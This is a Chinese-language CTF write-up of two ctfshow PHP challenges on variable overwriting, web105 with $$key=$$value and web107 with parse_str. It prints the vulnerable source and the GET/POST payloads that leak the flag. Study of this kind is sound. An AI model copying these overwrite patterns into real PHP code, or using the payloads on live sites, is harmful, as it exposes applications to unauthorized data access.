【ctfshow】变量覆盖简单理解 wp

前言

记录web的题目wp,慢慢变强,铸剑。

变量覆盖web105

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

这里利用的是变量覆盖,关键点在$$key=$$value,这里把$key的值当作了变量

1
2
3
4
我们传入error=flag
$key=error
$value=flag
$$key=$$value就变成了$error=$flag,就成功使$flag覆盖了$error

所以这里就可以利用变量覆盖进行获取flag

payload

第一种

通过$error输出我们的flag,即转入一个gylq的变量接收flag值,然后再第二个循环将gylq的值赋值给error,就可以达到die输出flag了

1
2
3
4
5
GET
?gylq=flag

POST
error=gylq

image-20211003105246548

第二种:

通过$suces输出我们的flag,即给suces赋值flag,然后第二个循环传入flag为key赋值为空,就可以达到不执行die的目的

1
2
3
4
5
GET
?suces=flag

POST
flag=

image-20211003105214621

变量覆盖web107

1
2
3
4
5
6
7
8
9
10
11
12
13
14

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}

}

这题考的是parse_str(string,array)的变量覆盖利用

参数 描述
string 必需。规定要解析的字符串。
array 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。

举例

1
2
3
4
5
$a = "name=gylq&age=10";
parse_str($a,$b);
echo $b['name'].','.$b['10'];
#输出结果
//gylq,10

payload

1
2
3
4
5
GET
v3=1

POST
v1=flag=c4ca4238a0b923820dcc509a6f75849b

image-20211003134132996

本文标题:【ctfshow】变量覆盖简单理解 wp

文章作者:孤桜懶契

发布时间:2021年10月03日 - 10:37:43

最后更新:2022年05月20日 - 11:47:45

原始链接:https://gylq.gitee.io/posts/165.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------------本文结束 感谢您的阅读-------------------